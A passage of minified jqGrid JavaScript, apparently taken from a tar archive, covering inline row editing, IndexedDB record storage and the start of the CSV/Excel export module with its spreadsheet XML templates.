inline-edit-cell"),-1<C.inArray(n[i].edittype,["text","textarea","password"])?C(t).addClass(c):"select"===n[i].edittype&&C(t).addClass(u),(r?C(this).find("span").first():C(this)).append(t),C.jgrid.bindEv.call(g,t,e),"select"===n[i].edittype&&void 0!==n[i].editoptions&&!0===n[i].editoptions.multiple&&void 0===n[i].editoptions.dataUrl&&C.jgrid.msie()&&C(t).width(C(t).width()),o++)}),0<o&&(l.id=f,g.p.savedRow.push(l),C(i).attr("editable","1"),p.focusField&&("number"==typeof p.focusField&&parseInt(p.focusField,10)<=n.length&&(s=p.focusField),setTimeout(function(){var e=C("td",i).eq(s).find(":input:visible").not(":disabled");0<e.length&&e.focus()},0)),!0===p.keys&&C(i).on(p.keyevent,function(e){if(27===e.keyCode){if(C.jgrid.isFunction(p.onEscape))return p.onEscape.call(g,f,p,e),!0;if(C(g).jqGrid("restoreRow",f,p),g.p.inlineNav)try{C(g).jqGrid("showAddEditButtons")}catch(e){}return!1}if(13===e.keyCode){if(e.preventDefault(),C.jgrid.isFunction(p.onEnter))return p.onEnter.call(g,f,p,e),!0;if("TEXTAREA"===e.target.tagName)return!0;if(C(g).jqGrid("saveRow",f,p)&&g.p.inlineNav)try{C(g).jqGrid("showAddEditButtons")}catch(e){}return!1}}),C(g).triggerHandler("jqGridInlineEditRow",[f,p]),C.jgrid.isFunction(p.oneditfunc))&&p.oneditfunc.call(g,f)):g.p.beforeAction=!1)})},saveRow:function(n,e,i,t,r,a,d){var o,s,l,c,u=C.makeArray(arguments).slice(1),f={},p=this[0],g=("object"===C.jgrid.type(u[0])?f=u[0]:(C.jgrid.isFunction(e)&&(f.successfunc=e),void 0!==i&&(f.url=i),void 0!==t&&(f.extraparam=t),C.jgrid.isFunction(r)&&(f.aftersavefunc=r),C.jgrid.isFunction(a)&&(f.errorfunc=a),C.jgrid.isFunction(d)&&(f.afterrestorefunc=d)),f=C.extend(!0,{successfunc:null,url:null,extraparam:{},aftersavefunc:null,errorfunc:null,afterrestorefunc:null,restoreAfterError:!0,mtype:"POST",saveui:"enable",savetext:C.jgrid.getRegional(p,"defaults.savetext")},C.jgrid.inlineEdit,f),!1),j={},v={},w={},m=!1,h=C.jgrid.trim(C(p).jqGrid("getStyleUI",p.p.styleUI+".common","error",!0));if(!p.grid)return g;if(!1===(c=C(p).jqGrid("getInd",n,!0)))return g;var R,y,q,x,b,I=C.jgrid.getRegional(p,"errors"),G=C.jgrid.getRegional(p,"edit"),u=C.jgrid.isFunction(f.beforeSaveRow)?f.beforeSaveRow.call(p,f,n):void 0;if(u=void 0===u?!0:u){if(e=C(c).attr("editable"),f.url=f.url||p.p.editurl,"1"===e){if(C(c).children('td[role="gridcell"]').each(function(e){if(R=p.p.colModel[e],o=R.name,q="","cb"!==o&&"subgrid"!==o&&!0===R.editable&&"rn"!==o&&"sc"!==o&&!C(this).hasClass("not-editable-cell")){switch(R.edittype){case"checkbox":var i=["Yes","No"];R.editoptions&&R.editoptions.value&&(i=R.editoptions.value.split(":")),j[o]=C("input",this).is(":checked")?i[0]:i[1],q=C("input",this);break;case"text":case"password":case"textarea":case"button":j[o]=C("input, textarea",this).val(),q=C("input, textarea",this);break;case"select":var t;R.editoptions.multiple?(i=C("select",this),t=[],j[o]=C(i).val(),j[o]?j[o]=j[o].join(","):j[o]="",C("select option:selected",this).each(function(e,i){t[e]=C(i).text()}),v[o]=t.join(",")):(j[o]=C("select option:selected",this).val(),v[o]=C("select option:selected",this).text()),R.formatter&&(v={}),q=C("select",this);break;case"custom":try{if(!R.editoptions||!C.jgrid.isFunction(R.editoptions.custom_value))throw"e1";if(j[o]=R.editoptions.custom_value.call(p,C(".customelement",this),"get"),void 0===j[o])throw"e2"}catch(e){"e1"===e?C.jgrid.info_dialog(I.errcap,"function 'custom_value' "+G.msg.nodefined,G.bClose,{styleUI:p.p.styleUI}):C.jgrid.info_dialog(I.errcap,e.message,G.bClose,{styleUI:p.p.styleUI})}}if(!1===(l=C.jgrid.checkValues.call(p,j[o],e))[0])return y=e,!1;p.p.autoencode&&(j[o]=C.jgrid.htmlEncode(j[o])),"clientArray"!==f.url&&R.editoptions&&!0===R.editoptions.NullIfEmpty&&""===j[o]&&(w[o]="null",m=!0)}}),!1===l[0]){try{C.jgrid.isFunction(p.p.validationCell)?p.p.validationCell.call(p,q,l[1],c.rowIndex,y):(x=C(p).jqGrid("getGridRowById",n),b=C.jgrid.findPos(x),C.jgrid.info_dialog(I.errcap,l[1],G.bClose,{left:b[0],top:b[1]+C(x).outerHeight(),styleUI:p.p.styleUI,onClose:function(){0<=y&&C("#"+n+"_"+p.p.colModel[y].name).focus()}}))}catch(e){alert(l[1])}return g}var i=p.p.prmNames,_=n,t=!1===p.p.keyName?i.id:p.p.keyName;if(C.isEmptyObject(j)||(j[i.oper]=i.editoper,void 0===j[t]||""===j[t]?j[t]=n:c.id!==p.p.idPrefix+j[t]&&(r=C.jgrid.stripPref(p.p.idPrefix,n),void 0!==p.p._index[r]&&(p.p._index[j[t]]=p.p._index[r],delete p.p._index[r]),n=p.p.idPrefix+j[t],C(c).attr("id",n),p.p.selrow===_&&(p.p.selrow=n),Array.isArray(p.p.selarrrow)&&0<=(a=C.inArray(_,p.p.selarrrow))&&(p.p.selarrrow[a]=n),p.p.multiselect)&&(d="jqg_"+p.p.id+"_"+n,C("input.cbox",c).attr("id",d).attr("name",d)),void 0===p.p.inlineData&&(p.p.inlineData={}),j=C.extend({},j,p.p.inlineData,f.extraparam)),"clientArray"===f.url){j=C.extend({},j,v),p.p.autoencode&&C.each(j,function(e,i){j[e]=C.jgrid.htmlDecode(i)});var A,j=C.jgrid.isFunction(p.p.serializeRowData)?p.p.serializeRowData.call(p,j):j,u=C(p).jqGrid("setRowData",n,j);for(C(c).attr("editable","0"),A=0;A<p.p.savedRow.length;A++)if(String(p.p.savedRow[A].id)===String(_)){s=A;break}C(p).triggerHandler("jqGridInlineAfterSaveRow",[n,u,j,f]),C.jgrid.isFunction(f.aftersavefunc)&&f.aftersavefunc.call(p,n,u,j,f),0<=s&&p.p.savedRow.splice(s,1),g=!0,C(c).removeClass("jqgrid-new-row").off("keydown")}else"storage"===f.url?(j=C.extend({},j,v),p.p.autoencode&&C.each(j,function(e,i){j[e]=C.jgrid.htmlDecode(i)}),j=C.jgrid.isFunction(p.p.serializeRowData)?p.p.serializeRowData.call(p,j):j,C(c).hasClass("jqgrid-new-row")?C(p).jqGrid("addStorageRecord",j).then(function(e){if("complete"===e.type){var i,e=C(p).jqGrid("setRowData",n,j);for(C(c).attr("editable","0"),i=0;i<p.p.savedRow.length;i++)if(String(p.p.savedRow[i].id)===String(_)){s=i;break}C(p).triggerHandler("jqGridInlineAfterSaveRow",[n,e,j,f]),C.jgrid.isFunction(f.aftersavefunc)&&f.aftersavefunc.call(p,n,e,j,f),0<=s&&p.p.savedRow.splice(s,1),g=!0,C(c).removeClass("jqgrid-new-row").off("keydown"),!0===p.p.inlineNav&&C(p).jqGrid("showAddEditButtons")}}).catch(function(e){C.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")}):C(p).jqGrid("updateStorageRecord",j).then(function(e){if("complete"===e.type){var i,e=C(p).jqGrid("setRowData",n,j);for(C(c).attr("editable","0"),i=0;i<p.p.savedRow.length;i++)if(String(p.p.savedRow[i].id)===String(_)){s=i;break}C(p).triggerHandler("jqGridInlineAfterSaveRow",[n,e,j,f]),C.jgrid.isFunction(f.aftersavefunc)&&f.aftersavefunc.call(p,n,e,j,f),0<=s&&p.p.savedRow.splice(s,1),g=!0,C(c).off("keydown"),!0===p.p.inlineNav&&C(p).jqGrid("showAddEditButtons")}}).catch(function(e){C.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")})):(C(p).jqGrid("progressBar",{method:"show",loadtype:f.saveui,htmlcontent:f.savetext}),(w=C.extend({},j,w))[t]=C.jgrid.stripPref(p.p.idPrefix,w[t]),C.ajax(C.extend({url:f.url,data:C.jgrid.isFunction(p.p.serializeRowData)?p.p.serializeRowData.call(p,w):w,type:f.mtype,async:!1,success:function(e,i,t){if(C(p).jqGrid("progressBar",{method:"hide",loadtype:f.saveui,htmlcontent:f.savetext}),"success"===i){var r,a=!0,d=C(p).triggerHandler("jqGridInlineSuccessSaveRow",[t,n,f]);if((d=Array.isArray(d)?d:[!0,w])[0]&&C.jgrid.isFunction(f.successfunc)&&(d=f.successfunc.call(p,t)),Array.isArray(d)?(a=d[0],j=d[1]||j):a=d,!0===a){for(p.p.autoencode&&C.each(j,function(e,i){j[e]=C.jgrid.htmlDecode(i)}),m&&C.each(j,function(e){"null"===j[e]&&(j[e]="")}),j=C.extend({},j,v),C(p).jqGrid("setRowData",n,j),C(c).attr("editable","0"),r=0;r<p.p.savedRow.length;r++)if(String(p.p.savedRow[r].id)===String(n)){s=r;break}C(p).triggerHandler("jqGridInlineAfterSaveRow",[n,t,j,f]),C.jgrid.isFunction(f.aftersavefunc)&&f.aftersavefunc.call(p,n,t,j,f),0<=s&&p.p.savedRow.splice(s,1),g=!0,C(c).removeClass("jqgrid-new-row").off("keydown")}else C(p).triggerHandler("jqGridInlineErrorSaveRow",[n,t,i,null,f]),C.jgrid.isFunction(f.errorfunc)&&f.errorfunc.call(p,n,t,i,null),!0===f.restoreAfterError&&C(p).jqGrid("restoreRow",n,f)}},error:function(e,i,t){if(C("#lui_"+C.jgrid.jqID(p.p.id)).hide(),C(p).triggerHandler("jqGridInlineErrorSaveRow",[n,e,i,t,f]),C.jgrid.isFunction(f.errorfunc))f.errorfunc.call(p,n,e,i,t);else{i=e.responseText||e.statusText;try{C.jgrid.info_dialog(I.errcap,'<div class="'+h+'">'+i+"</div>",G.bClose,{buttonalign:"right",styleUI:p.p.styleUI})}catch(e){alert(i)}}!0===f.restoreAfterError&&C(p).jqGrid("restoreRow",n,f)}},C.jgrid.ajaxOptions,p.p.ajaxRowOptions||{})))}return g}},restoreRow:function(n,e){var i=C.makeArray(arguments).slice(1),o={};return"object"===C.jgrid.type(i[0])?o=i[0]:C.jgrid.isFunction(e)&&(o.afterrestorefunc=e),o=C.extend(!0,{},C.jgrid.inlineEdit,o),this.each(function(){var e,i,t=this,r=-1,a={};if(t.grid&&!1!==(e=C(t).jqGrid("getInd",n,!0))){var d=C.jgrid.isFunction(o.beforeCancelRow)?o.beforeCancelRow.call(t,o,n):void 0;if(d=void 0===d?!0:d){for(i=0;i<t.p.savedRow.length;i++)if(String(t.p.savedRow[i].id)===String(n)){r=i;break}if(0<=r){if(C.jgrid.isFunction(C.fn.datepicker))try{C("input.hasDatepicker","#"+C.jgrid.jqID(e.id)).datepicker("hide")}catch(e){}C.each(t.p.colModel,function(){t.p.savedRow[r].hasOwnProperty(this.name)&&(a[this.name]=t.p.savedRow[r][this.name])}),C(t).jqGrid("setRowData",n,a),C(e).attr("editable","0").off("keydown"),t.p.savedRow.splice(r,1),C("#"+C.jgrid.jqID(n),"#"+C.jgrid.jqID(t.p.id)).hasClass("jqgrid-new-row")&&setTimeout(function(){C(t).jqGrid("delRowData",n),C(t).jqGrid("showAddEditButtons")},0)}C(t).triggerHandler("jqGridInlineAfterRestoreRow",[n]),C.jgrid.isFunction(o.afterrestorefunc)&&o.afterrestorefunc.call(t,n)}}})},addRow:function(r){return r=C.extend(!0,{rowID:null,initdata:{},position:"first",useDefValues:!0,useFormatter:!1,addRowParams:{extraparam:{}}},r||{}),this.each(function(){var i,e,t;this.grid&&((i=this).p.beforeAction=!0,(e=void 0===(e=C.jgrid.isFunction(r.beforeAddRow)?r.beforeAddRow.call(i,r.addRowParams):void 0)?!0:e)?(r.rowID=C.jgrid.isFunction(r.rowID)?r.rowID.call(i,r):null!=r.rowID?r.rowID:C.jgrid.randId(),!0===r.useDefValues&&C(i.p.colModel).each(function(){var e;this.editoptions&&this.editoptions.defaultValue&&(e=this.editoptions.defaultValue,e=C.jgrid.isFunction(e)?e.call(i):e,r.initdata[this.name]=e)}),C(i).jqGrid("addRowData",r.rowID,r.initdata,r.position),r.rowID=i.p.idPrefix+r.rowID,C("#"+C.jgrid.jqID(r.rowID),"#"+C.jgrid.jqID(i.p.id)).addClass("jqgrid-new-row"),r.useFormatter?C("#"+C.jgrid.jqID(r.rowID)+" .ui-inline-edit","#"+C.jgrid.jqID(i.p.id)).click():(t=(e=i.p.prmNames).oper,r.addRowParams.extraparam[t]=e.addoper,C(i).jqGrid("editRow",r.rowID,r.addRowParams),C(i).jqGrid("setSelection",r.rowID))):i.p.beforeAction=!1)})},inlineNav:function(d,n){var o=this[0],s=C.jgrid.getRegional(o,"nav"),e=C.jgrid.styleUI[o.p.styleUI].inlinedit;return n=C.extend(!0,{edit:!0,editicon:e.icon_edit_nav,add:!0,addicon:e.icon_add_nav,save:!0,saveicon:e.icon_save_nav,cancel:!0,cancelicon:e.icon_cancel_nav,addParams:{addRowParams:{extraparam:{}}},editParams:{},restoreAfterSelect:!0,saveAfterSelect:!1},s,n||{}),this.each(function(){if(this.grid&&!this.p.inlineNav){var a=C.jgrid.jqID(o.p.id),i=C.jgrid.trim(C(o).jqGrid("getStyleUI",o.p.styleUI+".common","disabled",!0));if(o.p.navGrid||C(o).jqGrid("navGrid",d,{refresh:!1,edit:!1,add:!1,del:!1,search:!1,view:!1}),C(o).data("inlineNav")||C(o).data("inlineNav",n),o.p.force_regional&&(n=C.extend(n,s)),(o.p.inlineNav=!0)===n.addParams.useFormatter)for(var e,t=o.p.colModel,r=0;r<t.length;r++)if(t[r].formatter&&"actions"===t[r].formatter){t[r].formatoptions&&(e=C.extend({keys:!1,onEdit:null,onSuccess:null,afterSave:null,onError:null,afterRestore:null,extraparam:{},url:null},t[r].formatoptions),n.addParams.addRowParams={keys:e.keys,oneditfunc:e.onEdit,successfunc:e.onSuccess,url:e.url,extraparam:e.extraparam,aftersavefunc:e.afterSave,errorfunc:e.onError,afterrestorefunc:e.afterRestore});break}n.add&&C(o).jqGrid("navButtonAdd",d,{caption:n.addtext,title:n.addtitle,buttonicon:n.addicon,id:o.p.id+"_iladd",internal:!0,onClickButton:function(){void 0===o.p.beforeAction&&(o.p.beforeAction=!0),C(o).jqGrid("addRow",n.addParams),!n.addParams.useFormatter&&o.p.beforeAction&&(C("#"+a+"_ilsave").removeClass(i),C("#"+a+"_ilcancel").removeClass(i),C("#"+a+"_iladd").addClass(i),C("#"+a+"_iledit").addClass(i))}}),n.edit&&C(o).jqGrid("navButtonAdd",d,{caption:n.edittext,title:n.edittitle,buttonicon:n.editicon,id:o.p.id+"_iledit",internal:!0,onClickButton:function(){var e=C(o).jqGrid("getGridParam","selrow");e?(void 0===o.p.beforeAction&&(o.p.beforeAction=!0),C(o).jqGrid("editRow",e,n.editParams),o.p.beforeAction&&(C("#"+a+"_ilsave").removeClass(i),C("#"+a+"_ilcancel").removeClass(i),C("#"+a+"_iladd").addClass(i),C("#"+a+"_iledit").addClass(i))):(C.jgrid.viewModal("#alertmod_"+a,{gbox:"#gbox_"+a,jqm:!0}),C("#jqg_alrt").focus())}}),n.save&&(C(o).jqGrid("navButtonAdd",d,{caption:n.savetext||"",title:n.savetitle||"Save row",buttonicon:n.saveicon,id:o.p.id+"_ilsave",internal:!0,onClickButton:function(){var e,i,t,r=o.p.savedRow[0].id;r?(i=(e=o.p.prmNames).oper,t=n.editParams,C("#"+C.jgrid.jqID(r),"#"+a).hasClass("jqgrid-new-row")?(n.addParams.addRowParams.extraparam[i]=e.addoper,t=n.addParams.addRowParams):(n.editParams.extraparam||(n.editParams.extraparam={}),n.editParams.extraparam[i]=e.editoper),C(o).jqGrid("saveRow",r,t)&&C(o).jqGrid("showAddEditButtons")):(C.jgrid.viewModal("#alertmod_"+a,{gbox:"#gbox_"+a,jqm:!0}),C("#jqg_alrt").focus())}}),C("#"+a+"_ilsave").addClass(i)),n.cancel&&(C(o).jqGrid("navButtonAdd",d,{caption:n.canceltext||"",title:n.canceltitle||"Cancel row editing",buttonicon:n.cancelicon,id:o.p.id+"_ilcancel",internal:!0,onClickButton:function(){var e=o.p.savedRow[0].id,i=n.editParams;e?(C("#"+C.jgrid.jqID(e),"#"+a).hasClass("jqgrid-new-row")&&(i=n.addParams.addRowParams),C(o).jqGrid("restoreRow",e,i),C(o).jqGrid("showAddEditButtons")):(C.jgrid.viewModal("#alertmod",{gbox:"#gbox_"+a,jqm:!0}),C("#jqg_alrt").focus())}}),C("#"+a+"_ilcancel").addClass(i)),!0!==n.restoreAfterSelect&&!0!==n.saveAfterSelect||C(o).on("jqGridBeforeSelectRow.inlineNav",function(e,i){0<o.p.savedRow.length&&!0===o.p.inlineNav&&i!==o.p.selrow&&null!==o.p.selrow&&(i=!0,o.p.selrow===n.addParams.rowID?C(o).jqGrid("delRowData",o.p.selrow):!0===n.restoreAfterSelect?C(o).jqGrid("restoreRow",o.p.selrow,n.editParams):i=C(o).jqGrid("saveRow",o.p.selrow,n.editParams),i)&&C(o).jqGrid("showAddEditButtons")})}})},showAddEditButtons:function(){return this.each(function(){var e,i;this.grid&&(e=C.jgrid.jqID(this.p.id),i=C.jgrid.trim(C(this).jqGrid("getStyleUI",this.p.styleUI+".common","disabled",!0)),C("#"+e+"_ilsave").addClass(i),C("#"+e+"_ilcancel").addClass(i),C("#"+e+"_iladd").removeClass(i),C("#"+e+"_iledit").removeClass(i))})},showSaveCancelButtons:function(){return this.each(function(){var e,i;this.grid&&(e=C.jgrid.jqID(this.p.id),i=C.jgrid.trim(C(this).jqGrid("getStyleUI",this.p.styleUI+".common","disabled",!0)),C("#"+e+"_ilsave").removeClass(i),C("#"+e+"_ilcancel").removeClass(i),C("#"+e+"_iladd").addClass(i),C("#"+e+"_iledit").addClass(i))})}})});minified/grid.database.js000064400000011577151677266200011405 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base"],e):e(jQuery)}(function(g){"use strict";g.jgrid.extend({dbInit:function(e){return this.each(function(){"indexeddb"===e&&g(this).jqGrid("_initIndexedDB_")})},_initIndexedDB_:function(){this.each(function(){var s=this;indexedDB.databases().then(function(e){var r=indexedDB.open(s.p.dbconfig.dbname);r.onupgradeneeded=e=>{console.info("Database created: "+s.p.dbconfig.dbname)},r.onsuccess=function(e){const r=e.target.result;var o=parseInt(r.version),c=g.jgrid.getElemByAttrVal(s.p.colModel,"key",!0);async function t(i){var e=s.p.dbconfig;if("string"==typeof e.dataUrl){try{var d=await(await fetch(e.dataUrl,e.fetchOptions)).json();null!==e.reader&&(d=g.jgrid.getAccessor(d,e.reader))}catch(e){return void console.log("Error:"+e)}g.jgrid.isFunction(e.beforeInsertData)&&(d=e.beforeInsertData.call(s,d))}else Array.isArray(e.dataUrl)&&(d=e.dataUrl);s.p.dbconfig.dbversion=o+1;e=indexedDB.open(e.dbname,o+1);e.onupgradeneeded=function(e){var r=e.target.result;if(!i){var o=r.createObjectStore(s.p.dbconfig.dbtable,{keyPath:c.name});for(let e=0;e<s.p.colModel.length;e++){var t=s.p.colModel[e];t.name===c.name?o.createIndex(t.name,t.name,{unique:!0}):o.createIndex(t.name,t.name,{unique:!1})}}var n,a=e.target.transaction.objectStore(s.p.dbconfig.dbtable);a.transaction.oncomplete=function(e){},a.transaction.onerror=function(e){g.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")};for(n of d)s.p.dbconfig.isKeyInData||(n[c.name]=Math.random().toString(16).slice(2)),a.put(n);s.p.dbconfig.ready_req=!0,s.grid.populate()},e.onerror=e=>{g.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")}}if(g.isEmptyObject(c))g.jgrid.info_dialog("Warning","Missed key: No uniquie key is set in colModel. Creating table fail","Close");else if(r.objectStoreNames.contains(s.p.dbconfig.dbtable))if(s.p.dbconfig.loadIfExists||s.p.dbconfig.deleteIfExists){const n=r.transaction(s.p.dbconfig.dbtable,"readwrite").objectStore(s.p.dbconfig.dbtable),a=n.count();a.onsuccess=()=>{var e;0<a.result?s.p.dbconfig.deleteIfExists?((e=n.clear()).onsuccess=e=>{console.log("All records are cleared"),r.close(),t(!0)},e.onerror=e=>{g.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")}):s.p.dbconfig.loadIfExists?(r.close(),t(!0)):(r.close(),s.p.dbconfig.ready_req=!0,s.grid.populate()):(r.close(),t(!0))}}else r.close(),s.p.dbconfig.ready_req=!0,s.grid.populate();else r.close(),t(!1)},r.onerror=e=>{g.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")}})})},updateStorageRecord:async function(d,c){let s=this[0],l=s.p.dbconfig,e=s.p.datatype;return new Promise(function(o,a){if(Array.isArray(d)||(d=[d]),c=c||s.p.keyName,d=g.jgrid.normalizeDbData.call(s,d,s.p.colModel),"indexeddb"===e){const i=window.indexedDB.open(l.dbname);i.onsuccess=e=>{var r=i.result.transaction(l.dbtable,"readwrite"),t=(r.oncomplete=e=>{o(e),console.log("Transaction completed succefully")},r.onerror=r=>{a(r);try{g.jgrid.info_dialog.call("Error",r.target.error,"Close",{styleUI:s.p.styleUI})}catch(e){console.log(r.target.error)}},r.objectStore(l.dbtable));for(let o=0;o<d.length;o++){if(!d[o].hasOwnProperty(c)||""===d[o][c]){r.abort();break}var n=t.openCursor();n.onsuccess=e=>{var r,e=e.target.result;e&&((r=e.value)[c]===d[o][c]?(delete d[o].oper,r=Object.assign(r,d[o]),e.update(r)):e.continue())},n.onerror=e=>{console.log(e.target.error)}}}}})},addStorageRecord:async function(i,d){let c=this[0],s=c.p.dbconfig,e=c.p.datatype;return new Promise(function(t,n){if(Array.isArray(i)||(i=[i]),d=d||c.p.keyName,i=g.jgrid.normalizeDbData.call(c,i,c.p.colModel),"indexeddb"===e){const a=window.indexedDB.open(s.dbname);a.onsuccess=e=>{var r=a.result.transaction(s.dbtable,"readwrite"),o=(r.oncomplete=e=>{t(e),console.log("Transaction completed succefully")},r.onerror=r=>{n(r);try{g.jgrid.info_dialog.call("Error",r.target.error,"Close",{styleUI:c.p.styleUI})}catch(e){console.log(r.target.error)}},r.objectStore(s.dbtable));for(let e=0;e<i.length;e++)i[e].hasOwnProperty(d)&&""!==i[e][d]||(i[e][d]=Math.random().toString(16).slice(2)),o.add(i[e]).onsuccess=e=>{}}}})},deleteStorageRecord:async function(d,c){let s=this[0],l=s.p.dbconfig,e=s.p.datatype;return new Promise(function(t,n){if(Array.isArray(d)||(d=d.split(",")),c=c||s.p.keyName,"indexeddb"===e){var a=[],r={};for(let e=0;e<d.length;e++)r[c]=d[e],a.push(r);a=g.jgrid.normalizeDbData.call(s,a,s.p.colModel);const i=window.indexedDB.open(l.dbname);i.onsuccess=e=>{var r=i.result.transaction(l.dbtable,"readwrite"),o=(r.oncomplete=e=>{t(e),console.log("Transaction completed succefully")},r.onerror=r=>{n(r);try{g.jgrid.info_dialog.call("Error",r.target.error,"Close",{styleUI:s.p.styleUI})}catch(e){console.log(r.target.error)}},r.objectStore(l.dbtable));for(let r=0;r<d.length;r++)o.delete(a[r][c]).onsuccess=e=>{console.log("Deleted record: "+d[r])}}}})}})});minified/grid.export.js000064400000127716151677266200011165 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base","./jquery.fmatter","./grid.utils"],e):e(jQuery)}(function(te){"use strict";te.jgrid=te.jgrid||{},te.extend(te.jgrid,{formatCell:function(e,t,r,l,o,a){return void 0!==l.formatter?(t={rowId:"",colModel:l,gid:o.p.id,pos:t,styleUI:"",isExported:!0,exporttype:a},te.jgrid.isFunction(l.formatter)?l.formatter.call(o,e,t,r):te.fmatter?te.fn.fmatter.call(o,l.formatter,e,t,r):e):e},formatCellCsv:function(t,e){t=null==t?"":String(t);try{t=te.jgrid.stripHtml(t.replace(e._regexsep,e.separatorReplace).replace(/\r\n/g,e.replaceNewLine).replace(/\n/g,e.replaceNewLine))}catch(e){t=""}return t=-1!==(t=e.escquote?t.replace(e._regexquot,e.escquote+e.quote):t).indexOf(e.separator)&&-1!==t.indexOf(e.qoute)?t:e.quote+t+e.quote},excelCellPos:function(e){for(var t="A".charCodeAt(0),r="Z".charCodeAt(0)-t+1,l="";0<=e;)l=String.fromCharCode(e%r+t)+l,e=Math.floor(e/r)-1;return l},makeNode:function(e,t,r){var l=e.createElement(t);return r&&(r.attr&&te(l).attr(r.attr),r.children&&te.each(r.children,function(e,t){l.appendChild(t)}),r.hasOwnProperty("text"))&&l.appendChild(e.createTextNode(r.text)),l},xmlToZip:function(o,e){var a,n,d,i,p,s=this,m=new XMLSerializer,f=-1===m.serializeToString(te.parseXML(te.jgrid.excelStrings["xl/worksheets/sheet1.xml"])).indexOf("xmlns:r"),c=[];te.each(e,function(e,t){if(te.isPlainObject(t))p=o.folder(e),s.xmlToZip(p,t);else{if(f){for(a=t.childNodes[0],n=a.attributes.length-1;0<=n;n--){var r=a.attributes[n].nodeName,l=a.attributes[n].nodeValue;-1!==r.indexOf(":")&&(c.push({name:r,value:l}),a.removeAttribute(r))}for(n=0,d=c.length;n<d;n++)(i=t.createAttribute(c[n].name.replace(":","_dt_b_namespace_token_"))).value=c[n].value,a.setAttributeNode(i)}p=m.serializeToString(t),p=(p=f?(p=-1===p.indexOf("<?xml")?'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+p:p).replace(/_dt_b_namespace_token_/g,":"):p).replace(/<row xmlns="" /g,"<row ").replace(/<cols xmlns="">/g,"<cols>").replace(/<mergeCells xmlns="" /g,"<mergeCells ").replace(/<numFmt xmlns="" /g,"<numFmt ").replace(/<xf xmlns="" /g,"<xf "),o.file(e,p)}})},excelStrings:{"_rels/.rels":'<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>',"xl/_rels/workbook.xml.rels":'<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/></Relationships>',"[Content_Types].xml":'<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/xml" /><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml" /><Default Extension="jpeg" ContentType="image/jpeg" /><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml" /><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml" /><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml" /></Types>',"xl/workbook.xml":'<?xml version="1.0" encoding="UTF-8" standalone="yes"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><fileVersion appName="xl" lastEdited="5" lowestEdited="5" rupBuild="24816"/><workbookPr showInkAnnotation="0" autoCompressPictures="0"/><bookViews><workbookView xWindow="0" yWindow="0" windowWidth="25600" windowHeight="19020" tabRatio="500"/></bookViews><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>',"xl/worksheets/sheet1.xml":'<?xml version="1.0" encoding="UTF-8" standalone="yes"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><sheetData/></worksheet>',"xl/styles.xml":'<?xml version="1.0" encoding="UTF-8"?><styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><numFmts count="7"><numFmt numFmtId="164" formatCode="#,##0.00_- [$$-45C]"/><numFmt numFmtId="165" formatCode=""£"#,##0.00"/><numFmt numFmtId="166" formatCode="[$€-2] #,##0.00"/><numFmt numFmtId="167" formatCode="0.0%"/><numFmt numFmtId="168" formatCode="#,##0;(#,##0)"/><numFmt numFmtId="169" formatCode="#,##0.00;(#,##0.00)"/><numFmt numFmtId="170" formatCode="yyyy/mm/dd;@"/></numFmts><fonts count="5" x14ac:knownFonts="1"><font><sz val="11" /><name val="Calibri" /></font><font><sz val="11" /><name val="Calibri" /><color rgb="FFFFFFFF" /></font><font><sz val="11" /><name val="Calibri" /><b /></font><font><sz val="11" /><name val="Calibri" /><i /></font><font><sz val="11" /><name val="Calibri" /><u /></font></fonts><fills count="6"><fill><patternFill patternType="none" /></fill><fill/><fill><patternFill patternType="solid"><fgColor rgb="FFD9D9D9" /><bgColor indexed="64" /></patternFill></fill><fill><patternFill patternType="solid"><fgColor rgb="FFD99795" /><bgColor indexed="64" /></patternFill></fill><fill><patternFill patternType="solid"><fgColor rgb="ffc6efce" /><bgColor indexed="64" /></patternFill></fill><fill><patternFill patternType="solid"><fgColor rgb="ffc6cfef" /><bgColor indexed="64" /></patternFill></fill></fills><borders count="2"><border><left /><right /><top /><bottom /><diagonal /></border><border diagonalUp="false" diagonalDown="false"><left style="thin"><color auto="1" /></left><right style="thin"><color auto="1" /></right><top style="thin"><color 